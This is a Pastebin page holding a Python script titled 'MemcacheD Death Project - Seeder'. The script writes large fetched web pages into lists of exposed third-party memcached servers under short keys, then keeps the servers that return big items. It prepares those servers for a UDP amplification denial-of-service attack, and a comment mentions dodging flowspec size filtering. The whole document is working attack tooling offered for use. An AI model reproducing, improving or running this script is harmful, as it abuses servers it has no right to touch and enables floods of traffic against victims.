Phenomite

MemcacheD Death Project - Seeder [mem-seeder.py]

Sep 13th, 2020
517
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 5.69 KB | None | 0 0
  1. # Meme-cacheD seeder by Phenomite 2020
  2. import os
  3. import sys
  4. import socket
  5. import re
  6. import time
  7. import requests
  8. import memcache
  9. import concurrent.futures
  10.  
  11. exit = False
  12. memcachePort = 11211
  13.  
  14.  
  15. def getseed(url):
  16.     seed_content = requests.get(url).text
  17.     # Force into memory
  18.     if not seed_content:
  19.         print("Seeder failed...")
  20.     else:
  21.         print("Grabbing new seed...")
  22.     return seed_content
  23.  
  24.  
  25. def seed_items(ip, seed_content, seed_content2, seed_content3):
  26.     # Grabs the list of all items in the memcache server
  27.     global exit
  28.     seed = ""
  29.     try:
  30.         print("Seeding items now (because UDP is unreliable by design you might need to run this again)")
  31.         mc = memcache.Client([ip], debug=False)
  32.         mc.set("p", seed_content3)
  33.         mc.set("h", seed_content2)
  34.         mc.set("e", seed_content)
  35.         seed = "phenomite"  # junk keyword
  36.     except UnicodeDecodeError:
  37.         # Ignore non-utf8 responses and attempts at killing decoders (potential pots, unlikely though)
  38.         pass
  39.     except Exception as e:
  40.         # If no data is received, you get here, but it's not an error
  41.         # Ignore and continue
  42.         print("\nError occurred while seeding: " + str(e))
  43.         pass
  44.     except KeyboardInterrupt:
  45.         exit = True
  46.     return seed
  47.  
  48.  
  49. def get_best_items(ip, string_items, min_size):
  50.     global exit
  51.     overall_best_item = ""
  52.     iterator = 0
  53.     for item in string_items.split(" "):  # Bad yes but bite me
  54.         iterator = iterator + 1
  55.         try:
  56.             # Set query to dump list of item keys
  57.             print("\nItem: " + item)
  58.             mc = memcache.Client([ip], debug=False)
  59.             memcache_item_value = mc.get(item)
  60.  
  61.             item_size_returned = len(memcache_item_value)
  62.             print("Reported size of item: " + str(item_size_returned))
  63.  
  64.             # Check the returned size is over our min threshold
  65.             # and (item_size_returned > size_of_last_best_item)) or (len(item) <
  66.             # len(overall_best_item) and item_size_returned ==
  67.             # size_of_last_best_item):
  68.             if item_size_returned >= int(min_size):
  69.                 overall_best_item += item + " "  # Set return val
  70.                 print("Added this item to key string for this IP")
  71.  
  72.         except UnicodeDecodeError:
  73.             # Ignore non-utf8 responses and attempts at killing decoders (potential pots, unlikely though)
  74.             pass
  75.         except Exception as e:
  76.             # If no data is received, you get here, but it's not an error
  77.             # Ignore and continue
  78.             print("\nError occurred while querying: " + str(e))
  79.             pass
  80.         except KeyboardInterrupt:
  81.             exit = True
  82.     return overall_best_item.strip()
  83.  
  84.  
  85. def executors(ip, content_to_seed, content_to_seed2, content_to_seed3):
  86.     print("\n---------New-IP---------")
  87.     ip = ip.rstrip()  # Clean random DOS CRLF cancer
  88.     try:
  89.         # Get items on the IP (within response time constraints [hardcoded for now])
  90.         seed_ip = seed_items(ip, content_to_seed, content_to_seed2, content_to_seed3)
  91.         if not seed_ip:
  92.             return  # Get the non responders out of here
  93.         # Check for our seed
  94.         ip_items = get_best_items(ip, seed_ip, "1000")
  95.         if not ip_items:
  96.             return  # Get the non responders out of here
  97.         return ip_items
  98.     except Exception as e:
  99.         print("FATAL: " + str(e))  # debug
  100.  
  101.  
  102. def main(fileInput, fileOutput,
  103.          url="https://www.netflix.com/watch/70177848",
  104.          url2="https://yahoo.com",
  105.          url3="https://stackoverflow.com/questions/24017316/pragma-mark-in-swift"):
  106.     global exit
  107.     # TODO: Randomise the seed to not hit flowspec size matching
  108.     content_to_seed = getseed(url)
  109.     content_to_seed2 = getseed(url2)  # eh
  110.     content_to_seed3 = getseed(url3)  # ehhhh
  111.     with open(fileInput, 'r') as ips:
  112.         with concurrent.futures.ProcessPoolExecutor(max_workers=50) as executor:
  113.             future_seeder = {executor.submit(executors, ip, content_to_seed,
  114.                                              content_to_seed2, content_to_seed3): ip for ip in ips}
  115.             for future in concurrent.futures.as_completed(future_seeder):
  116.                 ip_seeded = future_seeder[future]
  117.                 try:
  118.                     return_ip = future.result()
  119.                 except Exception as ex:
  120.                     print('%r generated an exception: %s' % (ip_seeded, ex))
  121.                 else:
  122.                     print('%s cache contains %s item!' % (str(ip_seeded).strip(), return_ip))
  123.                 print("\nWill write this to file: " + str(ip_seeded).strip())
  124.                 f = open(fileOutput, "a+")
  125.                 f.write(str(ip_seeded).strip() + "\n")
  126.                 f.close()
  127.                 print()  # Spacer
  128.     print("\n---------Done---------")
  129.     print("\nFinished seeding memcacheD IP list\n")
  130.  
  131.  
  132. if __name__ == '__main__':
  133.     print("-- MemcacheD Seeder -- Phenomite 2020 --")
  134.     if len(sys.argv) < 3:
  135.         print("Argument 1 (mandatory): Input filename containing one UDP memcache responder IP per line!\n\tAND DONT USE CRLF YOU WINDOWS FOOL. `dos2unix inputfile` if you are unsure.")
  136.         print("Argument 2 (mandatory): Output filename.")
  137.         print("Argument 3: Optional 1st domain to seed from (defaults if not entered).")
  138.         print("Argument 4: Optional 2nd domain to seed from (defaults if not entered).")
  139.         print("Argument 5: Optional 3rd domain to seed from (defaults if not entered).")
  140.         quit()
  141.     elif len(sys.argv) == 3:
  142.         main(sys.argv[1], sys.argv[2])
  143.     elif len(sys.argv) > 3:
  144.         main(sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4], sys.argv[5])
  145.  
Add Comment
Please, Sign In to add comment